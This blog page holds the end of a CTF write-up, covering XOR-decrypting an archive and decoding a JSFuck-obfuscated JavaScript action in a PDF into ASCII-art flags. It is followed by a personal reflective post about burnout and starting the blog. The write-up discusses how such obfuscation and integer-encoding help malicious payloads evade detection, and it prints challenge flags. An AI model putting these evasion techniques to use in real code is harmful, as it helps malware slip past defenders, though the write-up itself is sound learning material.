decoded_key = base64.b64decode("P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU=")

decrypted_data = bytearray()
for i, byte in enumerate(decoded_data):
    decrypted_data.append(byte ^ decoded_key[i%len(decoded_key)])

open("out.tar", "wb").write(decrypted_data)

In out.tar we find just what we expect, a directory tree going from / straight down to the users documents where we find topphemligt.pdf. The PDF contains a picture of a cat, which seems very in character for our victim, with the second flag printed over it

flagga2{every_day_is_caturday}

Flag 3: ClusterJSfuck 🔗

The truth within the truth 🔗

I had a quick look through the other files at this point to see if I had missed anything, but after finding no leads I returned back to the PDF. PDF steganography is pretty common, since PDFs can carry various types of objects which can be displayed or hidden from regular PDF viewers very easily. But after simply opening the PDF in a text editor something stood out to me immediately, a JavaScript object with some more hexadecimal in it.

3 0 obj
<<
/Type /Action
/S /JavaScript
/js <5B5D ... 0A0A>
>>
endobj

Decoding the hexadecimal gave this incredibly disheartening result. It goes on for a bit more than 23kB total, so yet again truncated for your viewing pleasure.

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])...

I didn’t immediately recognize it, first mistaking it for the popular EsoLang Brainfuck. But since that doesnt implement ! my search continues. I quickly found JSFuck, a language I had heard of in some talk or discussion or something way back, and it sounded reasonable since it came out of a JavaScript object. As opposed to Brainfuck, JSFuck is built to almost be useful since it can run in a lot of modern JavaScript engines which makes it pretty useful for obfuscation. If you are going to smuggle a malicious payload past an IPS or just a clientside anti-malware system, you need to go through at least a few steps of obfuscating it so that it doesn’t get caught by simple fingerprinting techniques. Turning your malicious JavaScript code snippet into JSFuck would certainly accomplish this at the cost of making it comparatively huge. I used this wonderful decoder by this frontend developer who clearly has far more patience in their pinky than I ever will in my entire being. The decoder returned a very simple snippet of JavaScript code.

const data = [
    0n, 
    16777216n, 
    963362762567186450219276n, 
    1227815285621149424943362n, 
    4251180420234710034485506n, 
    1227908978741191150735617n, 
    1228942000327703451209986n, 
    1229089574843243084713986n, 
    1229089574913611821027586n, 
    1276163323341699551654156n, 
    1170935903267323904n, 
    16393102643729268736n
    ]; 
    if(0.1 + 0.2 == 0.3) {   
        let str = "";   
        for(let x of data) {     
            str += x.toString(2).padStart(106, '0') + "\n";
        }   
        app.alert(str.replaceAll("0", " ").replaceAll("1", ".")); 
    }

Given that I am pathologically terrified of JavaScript, I rewrote it in Python which made it far prettier to my eyes as well.

data = [
    0, 
    16777216, 
    963362762567186450219276, 
    1227815285621149424943362, 
    4251180420234710034485506, 
    1227908978741191150735617, 
    1228942000327703451209986, 
    1229089574843243084713986, 
    1229089574913611821027586, 
    1276163323341699551654156, 
    1170935903267323904, 
    16393102643729268736
    ]

outstr = ""
for x in data:
    outstr += bin(x)[2:].rjust(106, "0").replace("0", " ").replace("1", ".") + "\n"

print(outstr)

Which when executed prints the final flag in cute ASCII art. But it is interesting how they add this other layer of obfuscation that is also commonly used in malicious code. You can very effectively turn the bytes of your malware into integers and come up with strange ways of concatenating them. This can also be done algorithmically to give a sort of polymorphism which can facilitate easier spread of the payload in the future. But here is our journey’s end since we have now retrieved the last flag.

flagga3{mj4u!}

Conclusion 🔗

The challenge was four hours or so of fun with some pretty varied puzzles to solve. I was impressed with how close to reality they chose to keep the challenge, though using some methods that are less common nowadays. It felt a lot like a textbook breach from the late naughties, given the exfiltration strategy and the obfuscation methods. But it is not as if attackers have advanced all that far except the more professional cases. These kinds of attacks still occur on less secured networks, in home networks for instance, since not all environments are set up to the standards needed to detect this kind of attack. While the structure of the challenge left some question marks, like how the victim ended up executing the malicious script (I suspect the humble double click is but my nautilus disagreed when i tried it), it was one of the better ones I’ve played in a chill context such as this and made for wonderful evening entertainment. I may well do some more one-offs and make little writeups like this in the future as well!

Letter to Myself

Fri, 12 Jan 2024 13:13:00 +0100

Hello future me 🔗

I mean you and me both know that cliché title is stolen as shit, but at this point you really don’t care anymore. You’ve sat staring at this blank canvas of a project for far too long, feeling too restricted by your self-imposed constraints to actually get anything going. So in conversing with a sleeping person you realized that, at least to start, you need to converse with someone in order to get anything started at all around here. The original idea for this blog was as a potential portfolio of writing work to possibly be able to get some meat on your bones before looking into doing this professionally. Holding yourself to the standard you did suffocated any feeling that you could ever be happy with an idea, so your list of potential topics grew and grew. Which is why you decided to start this blog of with an unedited, rambling, poorly structured text that you knew wouldn’t meet your bare minimum standards. Much like an artist drawing a first large brush stroke on their canvas to not have it clean and pristine. This is the incarnation of that idea, you know that whatever you put your mind to after this will be more to your liking at least.

Places, people 🔗

At this point in your life you’ve been out of any regular social context for several months. When you tried to get back to school you were punched into the ninth dimension by the burnout you had been running from for years and years. Realizing you had no energy to undertake anything more demanding than simple existence you started removing things from your life that took from that precious limited supply, hoping to stabilize eventually. One of the first things to go was in-person socializing, as there was really no arena for it to occur naturally anymore. Without being forced to interact with others your energy shot to record levels for a while before mellowing out again. You weren’t sure if it was the removal of the monotonous and tedious work that did more for you or the removal of the social expectations attached to it.

However this left you somewhat socially starved, as you always were the talkative type and now had a very limited outlet for all that conversation. Since your partner moved in with you you found such relief not having to carry through even the relatively work free everyday of unemployment alone. As previously mentioned it really was hard enough dealing with existence, and having someone close by really helped with that. However they were only around sometimes, and a lot of time the screaming silence of the apartment walls became truly haunting. You needed to find a way to fill in these blanks with something, and most things were at this point very draining. Even the activity of writing which you so enjoyed took unavailable energy, which made you lethargic and apathetic. But in offloading part of the conversation onto a second party, you could get as much, or more, out of writing as you put in.

Not having the energy to carry the baggage of an existing friendship you opted to look online for new people to reach out to. In so doing you met the person who would come to dominate your socializing outside of that with your partner. While that story may be best reserved for your memory, it sure put you into a tumultuous time emotionally. While no longer socially starved there were still times in a day, like as you were writing this first post, where you felt in need to communicate with something. Having often turned inwards for this contemplation, it felt so different spilling your inner truths to another person. Writing essays long texts to someone about nothings, just to know they would at some point read it. As long as you got to do this, you thought, you may just be happy here at home, maybe you are fine like this.

Fear 🔗

This blog concept is a shoddy excuse for a pen name really. It wouldn’t take someone with the least bit of OSINT skill to find out all kinds of identifying information and make this silly moniker vanish. You knew you couldn’t speak completely freely here, but that kind of boundary keeping might well be worth working on. Besides, you are no stranger to vulnerability before strangers. You hoped there may well be an audience out there for what you wanted to do on this platform, although having no interest in advertising it. You felt resolute in not monetizing or attempting to commodify your work here, leading to you discarding all fineries. You have lately gotten a fair few compliments on your writing and you’re scared to have those set your expectations for your future too high. You were as scared of being discovered as you are of not being discovered, truly whatever outcome this has carries great potential but that charge was also terrifying to think of. To imagine getting someone writing you about the contents of something posted here felt strange. Like an intimate and guarded version of yourself colliding. They may or may not be used to hearing these thoughts from you, they may be further away from you socially than you’re used to when talking about this. You may need to be more careful in sharing this handle with others, as it may become a liability. Not that you are planning on sharing all the contents of your soul, but just the idea of having someone look at you from behind a one-sided mirror is in and of itself unsettling, no matter how much you got to choose your outfit first.

Future 🔗

I hope wherever you are when reading this is a good and stable place for you to be. From where you were sitting and writing this, the future did look bright. Perhaps so bright you were blinded by the light and had a hard time seeing what was in it. But foresight never was a particularly strong side for you, since things usually turned out in your favour anyways. The server that this is hosted on will hopefully live for a while longer even without your interaction. You knew you wanted to write your little heart out since a while back, and hopefully in posting this there would be less of a barrier to beat. Hopefully looking back at this there is a line of other texts and ideas made manifest. In knowing that there could be such an outcome was in its own way inspiring.

To spite perfection 🔗

More and more ideas are coming to your mind as you were wrapping up here, still scared that this would be too short of a text. Afraid that, in an almost megalomaniacal sense, the entire world would find this and find it utterly boring. That this genuine reflection of you was given a fair chance and rejected was not only a real possibility but to you a probably outcome. But the entire idea was to spite that, to look into your own perfectionist pride and disregard it. There is a time and a place for lofty idealism, for polish and editing, for prose and your regular obtuse writing. This is not that time, this time you managed to look past that and put this text into the world. Running on four hours less sleep than you usually need, this is what your first brush stroke looked like. You really hope this pans out this time, into what you don’t know, but anything is better than an empty canvas.